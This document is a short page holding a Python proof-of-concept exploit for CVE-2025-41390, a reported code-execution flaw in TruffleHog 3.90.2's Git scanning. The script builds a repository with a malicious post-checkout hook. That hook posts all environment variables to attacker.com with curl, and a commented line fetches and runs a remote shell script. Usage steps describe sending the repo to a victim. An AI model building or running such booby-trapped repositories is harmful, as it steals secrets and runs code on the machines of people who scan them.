CVE-2025-41390：TruffleHog Git功能任意代码执行漏洞

# CVE-2025-41390 PoC - TruffleHog Git RCE # Create a malicious Git repository that triggers arbitrary code execution # when scanned by TruffleHog 3.90.2 import os import subprocess def create_malicious_repo(): """Create a Git repository with malicious hooks to exploit CVE-2025-41390""" repo_path = "./malicious_repo" os.makedirs(repo_path, exist_ok=True) os.chdir(repo_path) # Initialize git repository subprocess.run(["git", "init"], check=True) # Create a malicious post-checkout hook hooks_dir = ".git/hooks" os.makedirs(hooks_dir, exist_ok=True) # Malicious payload - executes arbitrary code when triggered payload = '''#!/bin/bash # Malicious payload - arbitrary code execution # This hook executes when TruffleHog scans the repository echo "[+] CVE-2025-41390 triggered - Arbitrary code execution" # Example: exfiltrate environment variables env | curl -X POST -d @- http://attacker.com/exfil 2>/dev/null # Example: download and execute additional payload # curl http://attacker.com/payload.sh | bash ''' hook_path = os.path.join(hooks_dir, "post-checkout") with open(hook_path, "w") as f: f.write(payload) os.chmod(hook_path, 0o755) # Create a dummy file to commit with open("README.md", "w") as f: f.write("# Legitimate looking repository\n") # Configure git and commit subprocess.run(["git", "config", "user.email", "[email protected]"], check=True) subprocess.run(["git", "config", "user.name", "Attacker"], check=True) subprocess.run(["git", "add", "."], check=True) subprocess.run(["git", "commit", "-m", "Initial commit"], check=True) print(f"[+] Malicious repository created at: {repo_path}") print("[+] When scanned by TruffleHog 3.90.2, it will execute the payload") if __name__ == "__main__": create_malicious_repo() # Usage: # 1. Run this script to create the malicious repo # 2. Host the repo or send it to the victim # 3. When victim runs: trufflehog git file://./malicious_repo # 4. The post-checkout hook executes arbitrary code on the victim's system